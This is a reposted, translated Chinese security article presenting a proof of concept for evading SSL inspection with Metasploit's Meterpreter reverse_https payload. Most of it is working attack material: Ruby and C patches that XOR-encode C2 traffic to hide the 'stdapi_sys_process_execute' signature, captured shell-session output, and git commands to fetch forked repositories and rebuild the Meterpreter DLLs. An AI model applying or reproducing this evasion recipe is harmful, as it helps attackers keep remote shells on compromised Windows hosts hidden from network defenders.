转载

Meterpreter:逃避SSL检测

当执行渗透测试时,SSL检测或许会让你头疼整整一天。这里有一个概念验证,如何调整Metasploit源来逃避SSL检测。

该方法亲测有效!

SSL检测本是用来执行中间人攻击,因此其能够看到纯文本形式的数据包。如果你在Meterpreter会话中检测流量,你会发现编写识别Meterpreter的规则十分简单。

通过在MSF代码中增加一个Puts,我们可以转储原始数据。

当你drop shell的时候,这个数据从MSF发送给Meterpreter是这样的:

[*] Starting interaction with 1...  meterpreter > shell "/x00/x00/x00/x84/x00/x00/x00/x00/x00/x00/x00#/x00/x01/x00/x01stdapi_sys_process_execute/x00/x00/x00/x00)/x00/x01/x00/x0203778337146806943879568977592220/x00/x00/x00/x00$/x00/x01/b/xFEC://Windows//system32//cmd.exe/x00/x00/x00/x00/f/x00/x02/t/x00/x00/x00/x00/v" Process 4012 created. Channel 2 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:/Users/student/Desktop>

仔细看看这些数据,你能找出TLV数据,一个独特的ID,最重要的是远程函数调用以及该函数的参数。如果你在编写一个拦截Meterpreter的规则,肯定会触发一个警报,因为在数据包中包含字符串“stdapi_sys_process_execute”.

伪装数据

知道了这些,就能将数据伪装通过引擎检测。最普遍的方法是使用XOR,主要是它很快,可逆性,且不会改变数据长度(Base64会增加长度)等特性。在其向外扩展之前我们要做的就是XOR数据(记住,这需要在Meterpreter和MSF同时完成)

下面是在MSF接收方添加代码

def dispatch_request(cli, request)    xor_byte = request.raw_uri[7]   xored_body = String.new   i = 0    request.body.each_byte do |b|     # don't touch the TlvHeader (first 8 bytes)     if i > 7       xored_body << (b.ord ^ xor_byte.ord).chr     else       xored_body << b     end     i += 1   end   # use the new string  request.body = xored_body

在Meterpreter接收方:

ULONG i = 0; for (; i < payloadLength; ++i)     payload[i] ^= xorByte;

记住,只要两边xor_byte/xorByte变量的值相同,那么变量的值就不重要了,因为两方都知道这个随机生成的URI。

对添加的代码进行模糊处理,再次使用shell命令就不会遇到烦人的“stdapi_sys_process_execute”字符串:

[*] Starting interaction with 1... meterpreter > shell "/x00/x00/x00/x84/x00/x00/x00/x00lllOlmlm/x1F/x18/b/r/x1C/x053/x1F/x15/x1F3/x1C/x1E/x03/x0F/t/x1F/x1F3/t/x14/t/x0F/x19/x18/tllllElmlnYXXT__[TYX[^U_]]T_//^//_YZYY//X//X//[llllHlmd/x92/V0;/x05/x02/b/x03/e/x1F0/x1F/x15/x1F/x18/t/x01_^0/x0F/x01/bB/t/x14/tllll`lnellllg" Process 3736 created. Channel 2 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation.  All rights reserved. C:/Users/student/Desktop>

这样设置是需要你重新生成Meterpreter DLLs的,详情可以参考 rapid7

在Windows中,你首先需要:

$ git clone  https://github.com/rwhitcroft/meterpreter $ cd meterpreter $ git submodule init && git submodule update $ git checkout evade_ssl_inspection

接着在命令行入口,运行make x64生成DLLs。它将被放置在output/x64/文件夹下面,将其复制到/opt/metasploit-framework/data/meterpreter/覆盖掉MSF默认的DLLs(并非所有的DLLs都需要复制,但为了简单操作,就全部复制了)

在MSF端:

$ git clone https://github.com/rwhitcroft/metasploit-framework $ cd metasploit-framework $ bundle install $ git checkout evade_ssl_inspection

就这样,你现在可以像往常一样运行msfconsole,并且还可以逃避SSL检测。

记住,这仅适用于windows/x64/meterpreter/reverse_https payload,因为这是我的最爱。将该功能添加到reverse_tcp,同样能够达到这样的效果。

*参考来源 github ,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...